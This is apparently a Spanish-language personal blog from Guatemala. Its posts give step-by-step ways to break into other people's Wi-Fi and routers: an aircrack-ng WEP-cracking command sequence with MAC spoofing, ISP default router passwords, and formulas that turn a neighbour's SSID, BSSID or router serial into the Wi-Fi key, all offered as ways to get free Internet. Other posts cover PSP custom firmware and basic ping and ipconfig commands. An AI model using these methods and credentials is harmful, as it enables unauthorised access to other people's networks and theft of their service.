Encotrar claves wep con backtrack

jueves, 9 de junio de 2011

abrimos una shell

airmon-ng stop eth1

para saber nuestra interfas ponemos esto notra eth1 es la interfas que yo manejo la interfas es la tarjeta que usas

ifconfig eth1 down


macchanger --mac 00:11:22:33:44:55 eth1

para cambiar nuestra mac

airmon-ng start eth1

para activar nuestra tarjeta en modo monitor

airodump-ng eth1

para ver redes al alcance nota copiar la mac el canal y el nombre de la red

airodump-ng --channel x --write pass eth1

esto crea un archivo para poder capturar la red nota en la x sustituir por el canal que esta la red y en donde dice pass pueden poner lo que quieran


aireplay-ng -3 -b (mac de la victima) -h 00:11:22:33:44:55 eth1

ahora esto es para las señales arp cuando tengamos 62,000 arp estara listo




aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h 00:11:22:33:44:55 eth1

esto se ace para acelerar el proceso en recuperar arp


aircrack-ng pass-01.cap

para sacar la pass,, cuando tengamos 62,000 arp detenemos todas las shell y ponemos esto para encontrar la clave wep y listo

Para ingresar a las opciones del router comtrend

viernes, 13 de mayo de 2011

Si vives en Guatemala y tienes el servicio de claro de Internet seguro tienes un router de estos comtrend, bueno esto puede servir para muchas cosas, como cambiar la clave wi-fi o los dns también se puede cambiar el ssid para que no se metan a nuestra red.
Lo bueno de este router es que le podemos poner mas de cuatro claves wi-fi validas, se los dejo para que lo revisen, bien

Primero abrimos nuestro navegador
Segundo Escriben esto 192.168.1.1/password.cgi en la barra de dirección del navegador
Después de hacer esto nos saldrá esto

Access Control -- Passwords

Access to your DSL router is controlled through three user accounts: admin and user.

The user name "admin" has unrestricted access to change and view configuration of your DSL Router.

The user name "user" can access the DSL Router, view configuration settings and statistics, as well as, update the router's software.

Use the fields below to enter up to 16 characters and click "Apply" to change or create passwords. Note: Password cannot contain a space.

Username:
Old Password:

New Password:

Confirm Password:


En user hay una pestaña desplegable la abrimos y escogemos admin. O user
Donde dice old password ponemos c1@r0 si escogimos admin. Y Turbonett si escogimos user
Y en new password un pas que nos recordemos

Entonces ya echo esto abrimos otra pestaña y en la barra del navegador colocamos 192.168.1.1
Y nos pedira user y password
Entonces ponemos
Como user Admin
Y como password el nuevo que pusimos y listo estamos en el router.


Este es otro modo de hacerlo
Abrimos el navegador
En la barra ponemos 192.168.1.1/password.cgi
Nos aparecerá esto

Access Control -- Passwords

Access to your DSL router is controlled through three user accounts: admin and user.

The user name "admin" has unrestricted access to change and view configuration of your DSL Router.

The user name "user" can access the DSL Router, view configuration settings and statistics, as well as, update the router's software.

Use the fields below to enter up to 16 characters and click "Apply" to change or create passwords. Note: Password cannot contain a space.
Username:
Old Password:

New Password:

Confirm Password:


en un costado de la hoja del navegador damos clic derecho y seleccionamos
ver código fuente y nos saldrá esto

pwdAdmin = 'c1@r0';
pwdUser = 'Turbonett';

es mas largo el HTML que sale pero busquen estos dos reglones donde están las dos claves una para admin. Y otra para user..
espero les sea de utilidad como a mi
esto sirve con todos los router comtrend de todo el mundo solo que cambian las claves dependiendo el servicio de Internet que tengamos..

HAMY TEJEDA DIOSA GUATEMALTECA

jueves, 21 de abril de 2011

Fotos no aptas para los ojos de los mortales





























La mujer más linda de wa-t

Tip cuatro wifi gratis, el apagón milagroso

miércoles, 20 de abril de 2011

Este es el cuarto tip para tener Internet gratis en nuestra casa es el ultimo y por casualidad di con el, ya que hay pocas paginas que hablan del tema, bien lo que necesitamos es el programa network stumbler si lo pueden encontrar en Google que esta por todos lados y es gratis seguro lo consiguen rápido, también necesitamos una laptop o tener planta eléctrica de algunas horas de duración aunque depende mucho de cuanto se tarde el paso tres ahora lo explico, este tercer paso me sucedió a mi estaba en mi ventana y de pronto un apagón hubo un corte de energía en toda la zona pero al tener laptop seguí viendo mi anime que me estaba discutiendo, después de media hora restablecen el servicio de energía en toda la zona, en ese momento sin pasar ni 5 segundos activo el programa network stumbler y la sorpresa cuando veo las redes que siempre me detecta el PC de una forma extraña, en ves de decir turbonett que es la SSID tenia el nombre de
thomson86FA93, ya con estos datos me puse a investigar y encontré la info. en barias paginas que estas tienen información mas especifica y quien fue el descubridor de este método aquí están pueden verlas si quieren

http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/


http://foro.elhacker.net/hacking_wireless/routers_thomson_caso_espanol_redes_wepwpa_%E2%80%9Cspeedtouchxxxxxx%E2%80%9D_al_descubierto-t208312.0.html


http://lampiweb.com/foro/index.php?topic=1763.0

bien siguiendo con mi tip, ya teniendo la información que nos dan los router cuando se resetean fue lo que paso cuando menguo el servicio eléctrico , se resetearon todos los routers y cuando este router marca Thomson se esta iniciando nos da el verdadero ssid de fabrica y con esto podemos saber la clave wifi de este router bien doy el ejemplo me dejo de blabla
tomamos la ssid que capturamos que seria un ejemplo
thomson86FA93
a esto le quitamos Thomson y nos queda 86FA93
bien ahora necesitan un programa llamado stkeys-gui lo pueden descargar de
http://www.taringa.net/posts/taringa/7395072/stKeys2-GUI.html
si no sirve el link buscarlo en Google como stkeys-gui seguro lo encuentran
bien ya teniendo el stkeys lo ejecutamos en su centro hay un código lo borramos y ponemos los seis números que le quitamos al Thomson86FA93 que seria el 86FA93
y lo ejecutamos, nos abre una ventana negra y nos da las posibles claves wifi son por lo regular dos o tres las podemos probar todas que esto comprobado si funciona y una de las claves que nos dio el stkeys es la que necesitamos
en resumen
mi router es Thomson86FA93
poniendo en stkeys 86FA93
me dio la clave CD9673E8F5
comprobado asi que viendo de este modo el apagón fue bueno en ese momento y siempre pensaba que lata los apagones pero sáquemeles provecho
nota este procedimiento sirve con el Thomson speedtouch v6 y el Thomson v7 que es el mas común y esta por todos lados.

Entonces ya sabiendo esto estoy investigando como saber el numero de serie de los router Thomson por que sabiendo el numero de seri del router no necesitamos el apagón doy el ejemplo
Bien el numero de serie de mi router es CP0929SFQFD
Para esto necesitamos una calculadora que tenga ingeniería regresiva que la encontramos en
http://www.elhacker.net/convertidor.html
que es solo un convertidora nota si no funciona el link buscar el convertidora en http://www.elhacker.net
entonces al numero lo dividimos de serie lo dividimos CP 09 29 SF QFD
Donde, que significa cada cosa?...
CP 09 29 SF QFD
CP YY WW PP XXX
YY es el año de fabricación. ( 2006 ) ?
WW es la semana del año. ( 15 ) una semana de Abril ?
PP es el código de producción/fabricación. ( JT ) ?
Con esto, y tomando como ejemplo CP0929SFQFD el proceso es el siguiente:
Se eliminan los valores CC que seria el valor SF del numero de serie nos quedara algo asi
CP0929QFD
Convertimos los valores de XXX a hexadecimal. Es decir tomamos QFD del numero de serie abrimos el conversos de la pagina que ya dije pegamos QFD en la hoja de arriba del conversor en la parte media de las hojas blancas hay una flecha para seleccionar allí seleccionamos ASII A HEXADECIMAL presionamos procesar y en la hoja de abajo nos dará este valor 514644
Tomamos este numero y lo ponemos en lo ultimo de CP0929 y nos quedara así CP0929514644
Ya con este numero lo copiamos y lo pegamos de nuevo en el conversor en la hoja de arriba en la selección ponemos ascii a sha1 y nos dará como resultado esto
cd9673e8f550e5ced3dc0972dae387626586fa93
Vemos los últimos seis numero de el código que nos dio que serian 86fa93 y luego le agregamos Thomson y nos quedara el verdadero ssid del router que seria thomson86fa93
censillo pero este método es solo sabiendo el numero de serie del router así que si alguien sabe como sacarlo dígame que lo necesito. Órale ….
A, y el router es Mio y es de turbonett y me pela por que no esta registrado …

Tres tips

viernes, 4 de febrero de 2011

Tres tips para tener Internet gratis en Guatemala
Bueno esto ya me pela publicarlo por que ya toda la mara lo sabe pero los que no les servirá de mucho.
El primer tip:
Tengamos en cuenta que las señales wifi siempre que escaneamos tienen seguridad wep de 128 y la mayoría de las personas no cambian la contraseña de su router cuando adquieren el servicio, y para algunos esto es maravilloso aun que al morro del Roberto García le caiga mal que le roben la señal de su Internet jajaj.

El primer tip es por si alguna vez escaneamos y en el nos sale un numero por ejemplo 22834525 ese es el numero de tel que tienen en esa casa y también esto seria la SSID
En algunos casos nos sale TURBONETT como la SSID pero ahora explico lo del numero, cuando escaneamos nos sale el numero ya tenemos para sacar Internet gratis, como ahora lo explico, si nos sale el numero ya mencionado 22834525 lo copiamos en la calculadora y lo volvemos hexadecimal es decir de que es el sistema numérico 16 de a-f y 0-9 al pasarlo a hexadecimal nos quedara esto 15C6D5D a esto le agregamos el 1 al principio y 0A al final nos queda esto 115c6d5d0A y esa seria la clave para poder entrar en esa red…
Si no puedes usar la calculadora hay una pagina con un programa que lo hace por vos ahora pongo el link.
http://barrel.toolzoft.com/tecnologia/telgua-wep-crack-license-to-wardrive/.


Segundo tip:
Esto solo les servirá si tienen algún café Internet cerca o algún amigo que los deje manipular su pc por supuesto que tenga Internet wifi amenos aquí en guate como el dominante es turbonett los router tienen wifi siempre.
Pero ahora lo explico con una café Internet cerca, bueno como todos los clientes pides tu tiempo y checa que tenga el navegador mozilla firefox que es el mas fácil de utilizar en el Internet Explorer cuesta mucho no digamos en chrome o opera, bien usamos el firefox en la maquina del café Internet y ponemos en la barra de navegador como cualquier pagina
http://192.168.1.1 en el caso que no les sirva la ip copien este link http://192.168.1.1/cgi/b/lan/?ce=1&be=0&l0=3&l1=-1 prueben dos o tres veces si no les sale, y cuando hagan esto les aparecerá una pagina especial que les pide nombre y contraseña
la contraseña que usan la mayoría y ya lo probé como con 20 router es poner en nombre admin. Y en contraseña: !T3lgu@. Les dejo algunas más viejas si nos les sirve esa
admin ---- admin
root ---- !T3lgu@
root ---- root
Usuario: admin
Password: Turbonett
user: password
admin :Password
si lo hicieron todo bien ya estarán adentro del router la mayoría son router Speed touch de marca Thomson bueno verán debajo de Thomson 4 pestañas busquen la que dice red domestica que es la cuarta ósea la de asta abajo presionen la pestaña y busquen wriles en el desplegable ,busquen arriba de donde dice puntos de acceso turbonett configuración lo presionan y buala verán primero la mac del router después donde dice ssid que es turbonett pero lo que nos importa es asta abajo donde dice calve de cifrado web esa es la clave wifi de 64 bit, ahora ya la pueden localizar de 20 metros de su casa,, jaja,,,, ver mas abajo del router hay una opción que dice configurar wds esto sirve si solo si tenemos otro router de la misma marca lo que hace esto es poner como repetidor el router es decir si un router me alcanza para una distancia de 25 mts Max con el otro router serian de 50 mts pero configurarlo es complicado lo explico después.

Tercer tip:
Este tip es el mas sencillo pero es de lo mas nuevo, gracias a los router que esta distribuyendo claro, si solo los router que tienen el logo de claro como saber que router es claro bueno es fácil, ponemos nuestra laptop o cualquier dispositivo que detecte señales wifi escaneamos y si tenemos la suerte de encontrar una ssid con el nombre ejemplo turbonett_868689 vamos por buen camino para ello necesitamos un programa que nos de la BSSID del router ósea la Mac , hay un programa que es gratis que hace todo esto se llama network stumbler que es gratis en Internet búsquenlo gratis en Google
Bien ya teniendo el programa lo abrimos y este ba. encontrar las señales cercanas buscamos las que ya mencione la del ejemplo el programa es fácil de usar hay un botón que es parecido al play para poner música lo presionamos y buscamos la señal del ejemplo turbonett_868689 y nos daremos cuenta que el programa nos da una BSSID primero esto es la Mac y así es como obtenemos la Mac y listo la Mac es todo por que tiene toda la información de la clave por ejemplo;
Una ssid ; turbonett_868688
Y bssid : 64680C868689
La clase wifi seria quitando el 64 de la ssid copiando los 4 números que le siguen al 64 que serian 680C y luego copiamos los números del ssid sin el turbonett_ ósea solo 868688 y juntamos los números que copiamos del bssid 680C con los que sacamos del ssid 868688 nos quedara asi 680C868688 y esta seria nuestra clave wifi nota este tip solo funciona cuando el dueño del router no a cambiado su clave y en todo caso la mayoría no cambia la clave…

Bien ahora que saben no lo divulguen así tendrán Internet gratis por algunos meses jajaj
Por eso en el titulo solo puse 3 tips para que no lo encuentren aun ,

Aun que se pongan enojados los dueños del Internet pero esta muy caro así que le agan huevos, y por ultimo ya salio el hen 6.31 para psp que de ahuevo con el prometheus 6.20 podremos correr los iso y los cso con el cf 6.31 después pongo el tuto.. órale -

METODO PARA LIBERAR PSP CON DESPERTAR DEL CEMENTERIO:

viernes, 10 de diciembre de 2010

Downgrade Universal: de cualquier Firmware / PSP o PSP Slim (sin usar otra PSP)


Primero la famosa batería Pandora o pandorisada
Tutoría acerca de como reparar el flash de nuestra PSP, "hackear" una PSP Slim o Downgrear una PSP "normal" sin necesitar otra PSP en el proceso. Para ello usaremos la GUI (entorno grafico) de MR DUNE adaptada por EsTuArT con los archivos del Despertar del Cementerio v8.0. IMPRESIONANTE instalador, que nos dejara instalar en la PSP CF 5.00 M33-4 de un modo sencillísimo. no has visto otra forma mas rápida y sencilla de "hacer Pandora". Necesitaremos, eso si, una batería "Pandora" o "de servicio",

Si tienes opción a usar una PSP con Custom Firmware ya instalado de algun familiar/amigo/vecino, recomendamos este tutorial Despertar Del Cementerio, que permitirá convertir nuestra batería original de PSP "normal" en Pandora, y no tendrás que comprar otra.

De lo contrario (no conoces a nadie con PSP "hackeada", ya sea PSP o PSP Slim), sigue leyendo, esto es justo lo que necesitas.

Esto sirve para CUALQUIER PSP DEL MUNDO, da igual el Firmware, da igual el tipo de placa. No necesita modificaciones previas. Por favor, no preguntes si sirve para tu PSP, ya te lo decimos: sirve 100% seguro*.

OJO: Hay algunas PSP Slim de muy reciente fabricación, con placa TA-088 v3, en las que no podrás realizar este proceso. No preguntes si la PSP es compatible o no, no hay forma de saberlo hasta que no se prueba. El proceso tampoco es compatible con la PSP Slim 3000, con pantalla mejorada y micrófono integrado.
Con esto podremos:
Reparar la Flash de las PSP que no arranquen, ya sea PSP "normal" o PSP Slim (brick).
Instalar el Custom Firmware 5.00 M33-4 en la PSP normal, directamente desde cualquier firmware.
Instalar el Custom Firmware 5.00 M33-4 en la PSP Slim, directamente desde cualquier firmware.

Y todo ello sin usar otra PSP en el proceso.
Que necesitamos
Una Memory Stick PRO DUO de al menos 256Mb y menor a 4Gb (a muchos usuarios la de 4Gb no les sirve, a otros si), no sirven las Memory Sticks de 32Mb. Esta Memory Stick sirve perfectamente como cualquier otra para almacenar datos en nuestra PSP.
Bateria de una PSP "normal" (no Slim) ya "pandorizada". Esta bateria puede insertarse en la PSP "normal" y en la PSP Slim. Mas detalles en el siguiente apartado.
Los archivos de descarga (en cada paso se especifica lo que necesitais).


Como conseguir una batería ya "pandorizada"

Hay un par de formas de conseguir una bateria de "servicio".
Comprándola

Algunos la venden ya fabricada, el precio ronda los Q.100.00:

Para los que se compren la batería decirles que la batería viene sin carga y hay que cargarla. Para cargarla hay que enchufar la psp a la toma de la corriente y encenderla sin batería, y una vez encendida ponerle la batería y esperar a que se cargue.

Fabricándosela

Si tienes una batería original de Sony, buscar en Google algún tutoría para crearla sin necesidad de ninguna PSP. Hay que abrir la batería físicamente y desoldar una patilla de uno de los circuitos integrados que la componen. Pronto pongo el Tuto.





Tutoría Despertar del Cementerio sin usar otra PSP



Como siempre, en letra pequeña los posibles errores que se puedan dar en el proceso. No es necesario que los leas si todo va bien. Disponemos de dos métodos en este tutorial para preparar la Memory Stick magica: Despertar GUI y Rains. Recomiendo utilizar este ultimo, si falla, proba con Despertar GUI. Pero basta con que sigas los pasos de uno de los métodos.
Método 1: Preparando la Stick (Método Despertar GUI)

Agarramos la Stick, y la metemos en cualquier PSP que tengamos por ahí ( una PSP o PSP Slim con firmware original), o un lector de tarjetas de PC (aunque se recomienda usar una PSP). Si tienes datos importantes en la Stick, salvalos al PC lo primero, pues la vamos a formatear.

Formateamos la Memory Stick con el PC, vamos a Mi PC, y encima de la PSP, boton derecho/Formatear:






Dejamos las opciones que aparecen en el menú. En lugar de usar el PC, puedes formatear la tarjeta desde la PSP también.

Cuando acabes este tutorial, puedes elegir si instalas en la PSP el CF 4.01 M33. Crear Stick que instala CF 5.00 M33-4: Descargamos Pandora's 8 (El Despertar) GUI y le hacemos doble click para instalarlo en el PC (mejor utilizar un PC con Windows XP instalado).






Una vez instalado en la carpeta que queramos del PC, tendremos en el escritorio un icono llamado "Despertar del Cementerio V8" (si no lo ves, usa el archivo autorun.exe dentro de la carpeta donde lo hayamos instalado en el PC). Le damos doble click. Se nos abrira esta una aplicación:






Como ves, mas simple imposible.

Hacemos click sobre el boton:
Step 1 GO: Aquí únicamente le indicamos al instalador la ruta de nuestra Memory Stick (recomiendo que uses una PSP "sana" incluso con firmware oficial enchufada al USB, o si no tienes una, cualquier lector de tarjetas de PC será valido también). Pasamos al siguiente paso.
Step 2 GO: Pinchamos en este boton, y nos aparecerá la ventana negra donde se va a formatear la Stick. Simplemente tecleamos Y y le damos al Intro. Pasamos al paso 3.
Si nos aparece la frase "Pseudo format is not necessary", puedes seguir leyendo, va todo bien.
Si nos aparece "open error (read)", usa otro PC, mejor si tiene el XP instalado, en lugar del Windows Vista.
Si se daña la Memory Stick en este paso (la PSP no es capaz de leerla), necesitaras formatearla con un lector de tarjetas de PC, como se explica un poco mas arriba.
Step 3 GO: Pinchamos en este botón. Nos aparece otra ventana negra (MS-DOS) donde (de nuevo) simplemente tecleamos Y y le damos al Intro.
Step 4 GO: Sacamos y metemos la Memory Stick de la PSP (o el lector de tarjetas) y pinchamos en este ultimo botón. Se nos van a copiar los archivos a la Stick. Esperamos tranquilamente a que la ventana negra desaparezca sola.




Metodo 2: Preparando la Stick (Método Rain's)

Primero, conectamos la MS a la PC mediante una PSP(recomendado) o mediante un lector de tarjetas de PC. También necesitamos descargar el Rain's UltraLite MMS Maker para 5.00, cuando esté listo descomprimimos el contenido del .rar, ejecutamos el archivo llamado "RainsUltraLiteMMS.exe" (sin comillas), y damos los permisos necesarios sólo si los pide.



Ahora, en donde dice "Drive letter" seleccionamos la letra del PSP y si queremos marcamos la casilla de "Format Memory Stick (Recommended)" y la que dice "Backup Memory Stick", se recomienda marcar ambas. Ahora les explico, la primera casilla "Format Memory Stick (Recommended)" formateará la MS antes de instalar los archivos, y la segunda opción la de "Backup Memory Stick" hará una copia de seguridad de la MS, en la carpeta en donde esté el archivo "RainsUltraLiteMMS.exe".




Ahora damos click en "Make MMS" y esperamos a que termine el proceso.



Captura del proceso de copia de seguridad.

LISTO ahora tenemos la MS lista.
Modo de empleo (si ya tienes la batería y la Memory Stick "magicas")

Antes de empezar, la advertencia que tienen que tener la batería cargada (ya sea original o comprada). Enchúfale el cargador y deja la PSP cargando durante al menos 3 horas.
Metemos la Memory Stick "mágica" en la PSP brickeada, o que va a ser hackeada.
Con el cable de corriente desconectado, deja el boton L pulsado, mete la "JigKick Battery" (batería de servicio), la PSP debería encender SOLA.

Veremos un menú con varias opciones.
Aparece un menú:
Install 5.00 M33 => Pulsando X se nos instalaré el Custom Firmware M33 en cualquier PSP (Slim o Fat).
Install 5.00 OFW => Pulsando X sobre esta opción se nos instalará el Firmware original 5.00.
NAND Operations => Esto nos dumpeará nuestra memoria Flash a la Memory Stick en forma de copia EXACTA. También sirve para restaurar la copia de la NAND, o para formatear la flash. IDStorage Tools son opciones avanzadas que solo deben ser utilizadas por expertos.
Hardware Info => Muestra información técnica de nuestra PSP.
Test M33 => Nos permite probar el Custom Firmware M33 antes de instalarlo.
Shutdown => Apaga la PSP.
Reboot Device => Reinicia la PSP.
Simplemente, seleccionamos la opción que queramos (típicamente la primera) y pulsamos X. Podremos ver que los leds de Wifi y Memory Stick empiezan a parpadear.
Cómo saber si el proceso ha finalizado:
Bastará con fijarse en la pantalla y esperar a que salga el mensaje de apagar (shut down) la PSP, presiona X para apagarla, y una vez apagada metemos la batería y la Stick "normales" y la reiniciamos.
Proceso Finalizado: Bienvenidos al mundo de la Scene y del Homebrew... de nuevo ;).

Nota importante de Dark_AleX sobre utilizar el dumpeo de la Flash:

***OJO: este proceso es peligroso y solo debe hacerse en caso de extrema emergencia si ninguna otra cosa funciona, y SOLAMENTE usando un dump previamente dumpeado de tu PSP, no uses el DUMP de otra PSP. Al contrario que el restaurador de nand de Pandora, que era un restaurador lógico, este restaurador es físico: intentará hacer un clon 100% exacto del dump. Si el dump de la psp no es tuyo, tendrás un brick o una psp con idstorage corrupto, dependiendo del firmware. Si en el momento de la restauración, tu psp tiene algun bloque dañado más que en el momento del dumpeo, también puedes tener un brick, dependiendo de que bloque se haya dañado. Es por eso que este método solo se aconseja en casos de emergencia o cuando utilices dumps que has hecho más o menos recientemente."

Nota: Si vas a usar la memory stick para restaurar una psp diferente que la que creó la memory stick, comprueba si el archivo ms0:/registry/act.dat existe en la memory stick. Si existe, elimínalo, en caso contrario la PSP restaurada no podrá comprar juegos de PSN hasta que el usuario no haya borrado de la flash2 el archivo act.dat que es de la otra PSP. (el archivo act.dat es unico para cada psp).

Ten en cuenta que el archivo act.dat es restaurado al que había en el momento de crear la MS. Si has comprado un nuevo juego en la PSN, el archivo puede haber cambiado y si el anterior es restaurado, puedes perder ese juego. Haz una copia de flash2:/act.dat despues de comprar cualquier cosa en la PSN!
Aprende a usar tu "nueva PSP"

Tras pulsar X y finalizar el proceso estas en 5.00 M33 con posibilidad de carga de ISOS y carga limitada de Homebrew, instalar el ultimo Parche kernel 1.50 para cargar Homebrew al 100% (solo para PSP "normal

Esta misma batería, y esta misma Memory Stick, nos sirven para realizar el proceso en cuantas PSP's queramos (siempre y cuando, lógicamente, no formateemos la Stick, ni devolvamos la bateria a su estado "normal").

Cuando ya tengas el proceso acabado y la PSP funcional, se recomienda ENCARECIDAMENTE hacer una copia EXACTA de la NAND de nuestra PSP, usando la opción correspondiente del menú del Despertar del Cementerio. Se os creara un archivo en la Stick llamado "nand-dump.bin" que debes GUARDAR BIEN en nuestro PC, por si lo necesitas en el futuro (sirve para reparar TODOS los bricks por software, pero este archivo sirve SOLO para nuestra PSP, de ahí que sea tan importante hacer una copia propia).


Posibles fallos
Si al meter la Stick y la batería Mágicas ni siquiera enciende el LED de power, la bateria esta descargada.
Si al meter la Stick y la batería Mágicas enciende el LED de power pero no aparece nada en pantalla, asegúrate de que estas usando una Stick de tamaño adecuado. Si es así, formatea la Memory Stick con el PC y repite el proceso de creación de batería despacio (metiendo primero la Stick, y luego la batería, siempre con el cargador desenchufado). Si vuelve a pasarte lo mismo, prueba con otra Stick.
Si la PSP muestra el logo de Sony, y después no aparecen los iconos, o la PSP se bloquea, formatead la Flash1: Entra en el modo recovery (manteniendo pulsado R al encender la PSP) al arrancar la consola, vete a advanced y format flash 1, con esto a mi me ha funcionado.
Si vuelve otra vez a aparecer el menu del Despertar del Cementerio, mete una Stick "normal" (no magica) y una bateria "standard" (no Pandora)
Si al final del proceso aparecen errores del tipo: "ERROR WHILE INITIALIZING: 0x8ca10002" o simplemente no aparece nada en pantalla al meter la batería y la Stick mágicas, comprobad que estas usando una Stick compatible (ver inicio del tutorial) y repetid de nuevo el proceso.


Si quieres que tu batería y tu Memory Stick sea de nuevo utilizable (paso opcional, SOLO si estas usando una batería original de PSP, y no una batería de servicio comprada en tienda)

Si has usado el DespertarDelCementeriov8.exe ó Rain'sUltraLiteMMS.exe, simplemente si quieres entrar en los menús del Despertar del Cementerio, encended la PSP con el L pulsado. Sino, la PSP arrancara normalmente.

La batería la puedes guardar así, tal cual, para realizar otros Downgrades / Unbricks. Pero alguno querrá que siga siendo una batería normal y corriente. Tendrás que hacer lo siguiente.
Regresar la batería a su modo habitual (no Pandora)

Encendemos la PSP sin batería y sin Memory Stick (enchufamos, lógicamente, el cable de corriente). Estando en el XMB, ponemos la batería Pandora y la Memory Stick. Desde el menú Juegos, ejecutamos el "UltraPandora Installer". Vamos al icono de la batería, y dentro de este:






Pulsamos X.

Nota de carga de batería Pandora: Para cargar la batería Pandora, encendemos la PSP SIN batería y con el cargador enchufado, metemos la batería Pandora estando en el XMB, y esperamos a que se cargue.

Para recuperar la Memory Stick basta con que la formatees desde la PSP, aunque la podes usar con normalidad si la Batería no es Pandora.

TUTO PARA INSTALAR ChickHEN y GEN-C

Para liberar psp
Este proceso solo funciona en PSP con el firmware Oficial de Sony 5.03 así que si tu psp tiene un firmware superior no podrás.

Realmente no se flashea la PSP ya que el firmware que instalaremos se aloja en la RAM así que no hay peligro de bricks.



REQUISITOS:
Firmware Oficial Sony 5.03 - http://www.megaupload.com/?d=IEAIONXH
ChickHEN - http://www.megaupload.com/?d=FSIY4SZE
Custom Firmware GEN-C - http://www.megaupload.com/?d=BSBBUIU1
PSP con firmware igual o inferior a 5.03.
Tener la carpeta de Fotos vacia.


1.Actualizamos la PSP al Firmware Oficial 5.03 (Si ya la tenemos en 5.03, nos saltamos este paso)

Formateamos la Memory Stick desde la PSP.
Conectamos la PSP y el PC por USB, descomprimimos en la raiz de la Memory Stick el contenido de PSP503.rar y sobreescribimos lo que nos pida.
Desconectamos la PSP del PC y vamos a Juego,Memory Stick y abrimos "Actualizacion de PSP ver. 5.03"








NOTA: Procura tener más del 90% de la batería. Este proceso es delicado y podría brickear tu consola si apagas la PSP antes de que termine.

Una vez instalado presionamos X y se reiniciara la consola


2. Formatear la Memory Stick desde nuestra PSP

3. Conectamos la PSP al PC en modo Conexión USB y descomprimimos el contenido del paquete chickhen1.rar en la raíz de la Memory Stick.
Nos dirá si queremos sobrescribir la carpeta PSP, le decimos que Si.
Desenchufamos la PSP del PC.

4. Vamos al menú Fotos de nuestra PSP, seleccionamos Memory Stick y abrimos la carpeta ChickHEN.
Veremos que hay las siguientes fotos:

ChickHENa
ChickHENb
ChickHENc
ChickHENd
slim.tiff





Cuando la PSP vaya cargando las fotos se congelara y se apagara. NO TE PREOCUPES ESTO NO HACE NINGUN MAL A LA PSP.
La PSP se reiniciara sola. Vamos a Ajustes de sistema, Información de sistema y comprobamos que se ha instalado el firmware "5.03 ChickHEN R2".

Si la PSP no se ha reiniciado debes repetir el punto 4 hasta conseguirlo. Por google encuentras 'trucos' que dicen que ayudan a cargar ChickHEN. Los mas 'eficaces' son:

Poner el fondo azul de serie.
Utilizar Memory Stick de poca capacidad.
Poner un juego en el UMD.
Tener la batería mínimo al 90%.



5. Formateamos la Memory Stick desde la PSP, la conectamos al PC y copiamos el contenido del archivo GENC503.rar sobrescribiendo las carpetas que nos pida.

6. Desconectamos la PSP del PC y nos vamos a Juego. Seleccionamos Memory Stick y abrimos 5.03 GEN-C







Dale a X. Detectara el modelo PSP y instalara unos módulos en la RAM.
Le das a X para reiniciar cuando te lo pida.

Ya tienes la PSP liberada. Este proceso no modifica la Flash de la PSP, solo la RAM por lo que no es peligroso pero cada vez que apagues la consola la RAM se borra y hay que repetir el proceso pero pueden dejar la psp en suspensión en vez de apagarla.
Recomendamos dejar el ChickHEN y el GEN-C en una Memory Stick lista para flashear vuestra PSP si se te apaga.

NOTA: Las iso van en la carpeta ISO
NOTA: En caso de que salga el error 80020321 al iniciar las isos pulsa Select y accederás al menú VSH, en la opción UMD ISO Mode seleccionar M33 driver o Sony NP9660. NOTA: Con el Custom Firmware GEN-C NO PUEDES usar homebrew que se aloje o use el flash de la PSP sino la brikearas. Cada vez que te bajes una aplicación (homebrew) mira en el foro que no use el flash.


NOTA: lo mejor es instalar el prometheus en su ultima versión
Esto lo hacen instalando el gen a full
Luego instalan gen d 3
Y por ultimo el prometheus
Esto lo hice en una psp Slim y me funciono excelente
Con esto podes correr el ultimo god of war ghost of sparta.

COMANDOS

domingo, 21 de noviembre de 2010

Bueno en la profesion de administrador de redes, debemos de manejar unos comandos de consola, esenciales para resolver diagnosticar y resolver problemas, aqui van algunos y los mas importantes.



el famoso ping

Código:
ping
ping 192.168.0.1

el ping es un comando de consola tipo TCP, ya que el hace una peticion al equipo y este le responde, el ping aparte de probar si hay conexion entre dos equipos o/y IP, sirve para probar la tarjeta de red, esto se llama hacerle un loopback, y se le hace ping a la IP local.


Código:
ping 127.0.0.1

el ping tiene varias sub-opciones, y se miran dando

Código:
ping/?

una de estas opciones es el ping sostenido (-t), sabemos que el ping por defecto es de 4 paguetes, bueno con es -t podemos hacer un ping ilimitadamente, con esto logramos probar la conexion entre los dos equipos verificando que en un momento dado no se caiga la conexion


Citar
ping www.google.com -t

con este comando pruebo yo que haya internet, ya que cuando no hay internet puede ser por SO, o por la red como tal ... si hay respuesta desde ms-dos (capa 2 y 3) quiere decir que las demas capas del OSI, tendria que haber internet.

aca les dejo alguna de las opciones para que las prueben.


Código:

-t Ping el host especificado hasta que se pare.
Para ver estadísticas y continuar - presionar Control-Inter;
Parar - presionar Control-C.
-a Resolver direcciones en nombres de host.
-n cuenta Número de peticiones eco para enviar.
-l tamaño Enviar tamaño del búfer.
-f Establecer No fragmentar el indicador en paquetes.
-i TTL Tiempo de vida.
-v TOS Tipo de servicio.
-r cuenta Ruta del registro para la cuenta de saltos.
-s count Sello de hora para la cuenta de saltos.
-j lista-host Afloja la ruta de origen a lo largo de la lista- host.
-k lista-host Restringir la ruta de origen a lo largo de la lista- host.
-w tiempo de espera Tiempo de espera en milisegundos para esperar cada
respuesta.

comando ipconfig


el comando ipconfig sirve para mirar la configuracion de red de las tarjetas de red, ejemplo.


Código:
Configuración IP de Windows


Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS :
Dirección IP. . . . . . . . . . . : 192.168.1.5
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.1.1

pero asi como ping tienes unas opciones avanzadas, ipconfig tambien tiene opciones avanzadas, como :

IPCONFIG/ALL
* Esta nos muestra la configuracion COMPLETA de las tarjetas de red, nos muestra puerta de enlace, servidor DNS primario y secundario, configuracion Proxy,etc


Código:
C:\Documents and Settings\ipconfig/all

Configuración IP de Windows

Nombre del host . . . . . . . . . : han
Sufijo DNS principal . . . . . . :
Tipo de nodo . . . . . . . . . . : desconocido
Enrutamiento habilitado. . . . . .: No
Proxy WINS habilitado. . . . . : No

Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS :
Descripción. . . . . . . . . . . : VIA Rhine II Fast Ethernet Adapter
Dirección física. . . . . . . . . : 00-19-21-5D-FF-BB
DHCP habilitado. . . . . . . . . : No
Dirección IP. . . . . . . . . . . : 192.168.1.5
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.1.1
